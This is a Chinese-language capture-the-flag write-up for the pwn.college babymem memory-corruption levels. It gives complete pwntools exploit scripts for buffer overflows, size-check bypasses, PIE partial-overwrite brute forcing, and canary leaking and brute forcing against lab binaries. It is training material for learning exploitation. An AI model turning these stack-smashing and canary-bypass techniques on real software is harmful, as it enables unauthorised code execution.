Pwn.College MemoryError WP

前置与环境

省事头 pwnheader.py

代码块 Python 自动换行 复制

```python
from pwn import *

context.log_level='debug'
dojo = ssh("hacker","pwn.college",keyfile="./pwncollege.ssh",raw=True)
dojo.sftp = None
dojo._tried_sftp = True

p : process

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(e
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])

def start(prog:str,args=[]):
    global p
    p = dojo.process([prog] + (args))
    return p


```

要使用该省事头，需要先添加ssh公钥到pwncollege，然后私钥存放在cwd的pwncollege.ssh文件中

由于是ssh连接，pwntools会调用远端python做事，比较慢，且ssh连接非标，不能映射端口

注意：只有14.1需要调试看栈上数据，其他都不需要

-- 无 Canary 非PIE --

1-2 变量覆盖

1. 覆盖win变量不为0即可

代码块

```
from pwnheader import *

p = sta(1,1)

ru("Payload size:")
sl(str(0x48))
s(b'a'*0x40+p64(0xffffffffffffffff))

p.interactive()
```

2. 覆盖win变量为指定值

代码块

```
from pwn import *

context.log_level='debug'
dojo = ssh("hacker","pwn.college",keyfile="./pwncollege.ssh")

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(e
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])

p = dojo.process(["/challenge/babymem_level2.0"])

```

```
ru("Payload size:")
sl(str(0x44))
s(b'a'*0x40+p32(966356487))

p.interactive()
```

代码块

```
from pwn import *

context.log_level='debug'
dojo = ssh("hacker","pwn.college",keyfile="./pwncollege.ssh",raw=True)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(e
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])

p = dojo.process(["/challenge/babymem_level2.1"])

ru("Payload size:")
sl(str(108+8))
s(b'a'*108+p64(1302339401))

p.interactive()
```

3 直接覆盖返回地址

代码块

```
from pwnheader import *

x = 3
```

```python
y = 1
fstr = str(x) + "." + str(y)

dojo.download_file("/challenge/babymem_level"+fstr)
p = start("/challenge/babymem_level"+fstr)

ru("Payload size:")
if (y == 0):
    sl(str(136+8))
    s(b'a'*136+p64(0x401d68))
else:
    sl(str(88+8))
    s(b'a'*(88)+p64(0x40176c))

itr()
```

4-5 带逻辑限制覆盖返回地址

4. 负数绕过

```
size_t nbytes[7]; // [rsp+2Ch] [rbp-44h] BYREF
int v4; // [rsp+64h] [rbp-Ch]
void *buf; // [rsp+68h] [rbp-8h]

buf = (char *)nbytes + 4;
memset(nbytes, 0, 55);
printf("Payload size: ");
__isoc99_scanf("%i", nbytes);
if ( SLODWORD(nbytes[0]) > 51 )
{
  puts("Provided size is too large!");
  exit(1);
}
```

代码块

```python
from pwnheader import *

# p = sta(4,0)

# ru("Payload size:")
# sl(str(-1))
# s(b'a'*(104)+p64(0x402327))

p = sta(4,1)
```

```
ru("Payload size:")
sl(str(-1))
s(b'a'*(72)+p64(0x4021ae))

itr()
```

5. 溢出绕过，自己拿计算器算一下看看得到什么

```
printf( Number of payload records to send:  );
__isoc99_scanf("%u", &v4);
if ( !v4 )
  __assert_fail("record_num > 0", "<stdin>", 0x45u, "challenge");
printf("Size of each payload record: ");
__isoc99_scanf("%u", &v3);
if ( !v3 )
  __assert_fail("record_size > 0", "<stdin>", 0x48u, "challenge");
if ( v3 * v4 > 7 )
  __assert_fail("record_size * record_num < (unsigned int) sizeof(input)", "<stdin>", 0x49u, "challenge");
nbytes = v3 * (unsigned __int64)v4;
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v7 = read(0, buf, nbytes);
if ( v7 < 0 )
```

代码块

```
from pwnheader import *

# p = sta(5,0)

# ru("Number of payload records to send:")
# sl("2147483650")
# ru("payload record:")
# sl("2")

# ru("bytes)!")
# sl(b'a'*136+p64(0x401eed))

p = sta(5,1)

ru("Number of payload records to send:")
sl("2147483650")
ru("payload record:")
sl("2")

ru("bytes)!")
sl(b'a'*72+p64(0x4018a4))

itr()

```

6 直接返回到函数内

```
void __fastcall win_authed(int a1)
{
  int *v1; // rax
  char *v2; // rax
  int *v3; // rax
  char *v4; // rax

  if ( a1 == 4919 )
  {
    puts("You win! Here is your flag:");
    flag_fd_5627 = open("/flag", 0);
    if ( flag_fd_5627 >= 0 )
    {
      int
      flag_length_5628 = read(flag_fd_5627, &flag_5626, 0x100uLL);
      if ( flag_length_5628 > 0 )
      {
```

代码块

```
from pwnheader import *

# p = sta(6,0)

# ru("Payload size:")
# sl(str(104+8))
# ru("bytes)!")
# s(b'a'*104+p64(0x401fc5))

p = sta(6,1)
ru("Payload size:")
sl(str(48))
ru("bytes)!")
s(b'a'*40+p64(0x401a5b))

itr()
```

-- 单PIE无Canary --

7 直接返回到函数内

有PIE了，要爆破一下

代码块

```
from pwnheader import *

# while(1):
#     p = sta(7,0)
#     ru("Payload size:")
#     sl(str(122))
#     ru("bytes)!")
#     s(b'a'*120+p64(0x262)[:2])
#     p.recvall()

#     a = input("Got?")
#     if a == 'y':
#         break
#     else:
#         p.close()

while (1):
    p = sta(7, 1)
    ru("Payload size:")
    sl(str(106))
    ru("bytes)!")
    s(b'a'*104+p64(0x377)[:2])
    p.recvall()

    a = input("Got?")
    if a == 'y':
        break
    else:
        p.close()

itr()

```

8 非 0x0 payload 限制

从堆上copy的，取strlen，必须确保payload没有0x0不然会提早截断

```
__isoc99_scanf("%lu", &size);
buf = malloc(size);
if ( !buf )
  __assert_fail("tmp_input != 0", "<stdin>", 0x47u, "challenge");
printf("Send your payload (up to %lu bytes)!\n", size);
v8 = read(0, buf, size);
v7 = strlen((const char *)buf);
if ( v7 > 0x5C )
  __assert_fail("string_length < 93", "<stdin>", 0x4Bu, "challenge");
memcpy(dest, buf, v8);
```

代码块

```python
from pwnheader import *

# while (1):
#     p = sta(8, 0)
#     ru("Payload size:")
#     sl(str(106))
#     ru("bytes)!")
#     s(b'\0'*104+p64(0xfe5)[:2])
#     if b"pwn.college{" in p.recvall():
#         break

while (1):
    p = sta(8, 1)
    ru("Payload size:")
    sl(str(138))
    ru("bytes)!")
    s(b'\0'*136+p64(0x06a)[:2])
    if b"pwn.college{" in p.recvall():
        break

itr()

```

-- 带PIE和Canary --

9 利用逻辑漏洞跳过Canary

注意覆写量，只有1byte可以盖，然后就到retaddr了

```
__int64 challenge()
{
  int v0; // eax
  int *v1; // rax
  char *v2; // rax
  unsigned __int64 v4; // [rsp+28h] [rbp-48h] BYREF
  __int64 *v5; // [rsp+30h] [rbp-40h]
  int *v6; // [rsp+38h] [rbp-38h]
  __int64 v7[3]; // [rsp+40h] [rbp-30h] BYREF
  int v8; // [rsp+58h] [rbp-18h] BYREF
  unsigned __int64 v9; // [rsp+68h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  memset(v7, 0, sizeof(v7));
  v8 = 0;
  v5 = v7;
  v6 = &v8;
  v4 = 0LL;
  printf("Payload size: ");
  __isoc99_scanf("%lu", &v4);
  printf("Send your payload (up to %lu bytes)!\n", v4);
  while ( *v6 < v4 )
  {
    v0 = read(0, (char *)v5 + *v6, 1uLL);
    *v6 += v0;
  }
  if ( *v6 < 0 )
  {
    v1 = __errno_location();
    v2 = strerror(*v1);
    printf("ERROR: Failed to read input -- %s!\n", v2);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}
```

代码块

```
from pwnheader import *

# while (1):
#     p = sta(9, 0)

#     ru("Payload size:")
#     sl(str(122))
```

```
#     ru("bytes)!")
#     s(b'a'*100)
#     # it's the time to skip
#     s(p32(119)[:1])
#     s(p64(0x068b)[:2])
#     if b"pwn.college{" in p.recvall():
#         break

while (1):
    p = sta(9, 1)
    ru("Payload size:")
    sl(str(58))
    ru("bytes)!")
    s(b'a'*24)
    # it's the time to skip
    s(p32(55)[:1])
    s(p64(0x13c4)[:2])


    if b"pwn.college{" in p.recvall():
        break

itr()

```

10 简单printf覆写0x00

简单的 printf，只要覆盖前面40字节不为0就可以把flag输出

代码块

```
from pwnheader import *

# p = sta(10,0)
# ru("Payload size:")
# sl("40")
# ru("bytes)!")
# s(b'a'*40)

p = sta(10,1)
ru("Payload size:")
sl("17")
ru("bytes)!")
s(b'a'*17)

itr()
```

```
16
```

11 mmap连续分配覆写0x00

mmap连续分配地址连续递减，5页(20480Bytes)之后到达flag，pwntools 分页发送不能正确输入，自行写好payload cat进去即可

示意脚本：

代码块

```python
from pwnheader import *

p = sta(11,1)
# ru("Payload size:")
# sl("20480") # 5 pages total
# ru("bytes)!")

# p.send_raw(b'a'*20480) # This will not work since it's sent in chunks of 40

itr()

```

12 可重入函数泄露canary

可重入challenge的，分两步，先漏canary，然后重写retaddr，有PIE爆破要看运气

```
  __int64 v9[4]; // [rsp+40h] [rbp-30h] BYREF
  int v10; // [rsp+60h] [rbp-10h]
  unsigned __int64 v11; // [rsp+68h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  memset(v9, 0, sizeof(v9));
  v10 = 0;
  buf = v9;
  nbytes = 0LL;
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("Send your payload (up to %lu bytes)!\n", nbytes);
  if ( (int)read(0, buf, nbytes) < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!\n", v4);
    exit(1);
  }
  printf("You said: %s\n", (const char *)buf);
  if ( strstr((const char *)buf, "REPEAT") )
  {
    puts("Backdoor triggered! Repeating challenge()");
    return challenge(a1, a2, a3);
  }
  else
  {
    puts("Goodbye!");
    return 0LL;
  }
}
```

代码块

```python
from pwnheader import *

# while (1):
#     p = sta(12, 0)
#     ru("Payload size:")
#     sl(str(0x89))
#     ru("bytes)!")
#     s(b'REPEAT--'*(0x88//8)+b'A')
#     ru("--A")
#     canary = bytearray(b'\0')+r(7)
#     log.success(canary.hex())
#     ru("Payload size:")
#     sl(str(0x9A))
```

```python
#     ru("bytes)!")
#     s(b'a'*0x88+canary+b'B'*8+p64(0x2386))
#     if b"pwn.college{" in p.recvall():
#         break

while (1):
    p = sta(12, 1)
    # break
    ru("Payload size:")
    sl(str(41))
    ru("bytes)!")
    s(b'REPEAT--'*(5)+b'A')
    ru("--A")
    canary = bytearray(b'\0')+r(7)
    log.success(canary.hex())
    ru("Payload size:")
    sl(str(0x3A))
    ru("bytes)!")
    s(b'a'*40+canary+b'B'*8+p64(0x1371))
    if b"pwn.college{" in p.recvall():
        break

itr()

```

13 未初始化的栈上数据：直接泄露flag

进入challenge前读取了flag到栈上足够远的位置而没有置0，造成栈上数据泄露

```
int verify_flag()
{
  int v0; // eax
  _BYTE v2[265]; // [rsp+37h] [rbp-109h] BYREF

  *(_QWORD *)&v2[257] = __readfsqword(0x28u);
  v0 = open("/flag", 0);
  read(v0, v2, 0x100uLL);
  puts(
    "This challenge reads the flag file to verify
  return printf("The flag was read into address %p
}
```

代码块

```python
from pwnheader import *

# p = sta(13,0)
# ru("Payload size:")
# sl("215")
# ru("bytes)!")
# s(b'a'*215)

p  = sta(13,1)
ru("Payload size:")
sl("253")
ru("bytes)!")
s(b'a'*253)

itr()
```

14 未初始化的栈上数据：泄露canary

0. 也是未初始化，可以从栈上找到canary和之前函数的返回地址，免于爆破

1. 未初始化，限制了printf的长度，从栈上泄露残值canary然后爆破retaddr

代码块

```python
from pwnheader import *

# context.log_level = 'INFO'

# p = sta(14,0)

# ru("Payload size:")
# sl(str(265))
# ru("bytes)!")
# s(b'REPEAT--'*(264//8)+b'A')
# ru("--A")
# canary = bytearray(b'\0')+r(7)
# log.success(canary.hex())

# ru("Payload size:")
# sl(str(400))
# ru("bytes)!")
# s(b'REPEAT--'*(400//8 - 1)+b'TAGHERE!')
# ru("--TAGHERE!")
# retoff = uu32(r(2)) & 0xf000
# log.success(f"Ret offset: {hex(retoff)}")
```

```python

# ru("Payload size:")
# sl(str(0x1bA))
# ru("bytes)!")
# s(b'a'*0x1a8+canary+b'B'*8+p64(retoff - 0x2000 + 0x1fc0)) # 0x29cc ret, so

while(1):
    p = sta(14, 1)
    ru("Payload size:")
    sl(str(185))
    ru("bytes)!")
    s(b'REPEAT--'*(184//8)+b'A')
    ru("--A")
    canary = bytearray(b'\0')+r(7)
    log.success(canary.hex())

    ru("Payload size:")
    sl(str(0x1da))
    ru("bytes)!")
    s(b'a'*0x1c8+canary+b'B'*8+p64(0x17f5))
    if b"pwn.college{" in p.recvall():
        break

itr()

```

15 Canary爆破

Canary爆破，比较耗时，不能远程不然更慢

注意recvall的时间，调的太快可能跑不通

代码块

```python
from pwn import *

context.log_level = 'debug'
p : process

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
```

```python
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(e
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])

def start(prog:str,args=[]):
    global p
    p = process([prog] + (args))
    return p

def sta(x,y):
    fstr = str(x) + "." + str(y)
    return start("/challenge/babymem_level"+fstr)

# start("killall", ["babymem_level15.0"])
# sta(15, 0)
start("killall", ["babymem_level15.1"])
sta(15, 1)

i = 1
canary = bytearray(8)

for i in range(9):
    for j in range(0x100):
        canary[i-1] = j
        p = remote("127.0.0.1",1337)
        ru("Payload size:")
        # sl(str(88+i)) # 0
        sl(str(104+i))
        ru("bytes)!")
        # s(b'a'*88+canary) # 0
        s(b'a'*104+canary)
        if b"smashing detected" not in p.recvall(0.05):
            print("GOT")
            p.close()
            break
        else:
            p.close()

log.success("Canary: " + hex(u64(canary)))

for j in range(0x10):
    p = remote("127.0.0.1",1337)
```

```
59      ru("Payload size:")
60      # sl(str(88+8+8+2)) # 0
61      sl(str(104+8+8+2))
62      ru("bytes)!")
63      # s(b'a'*88+bytes(canary)+b'B'*8+p64(j * 0x1000 + 0xa28)) #0
64      s(b'a'*104+bytes(canary)+b'B'*8+p64(j * 0x1000 + 0x99a))
65      s123 = p.recvall(0.1)
66      if b"pwn.college{" in s123:
67          print(s123)
68          break
69      p.close()
70
71  itr()
72
```

后记

挺好玩的基础题，零零散散做的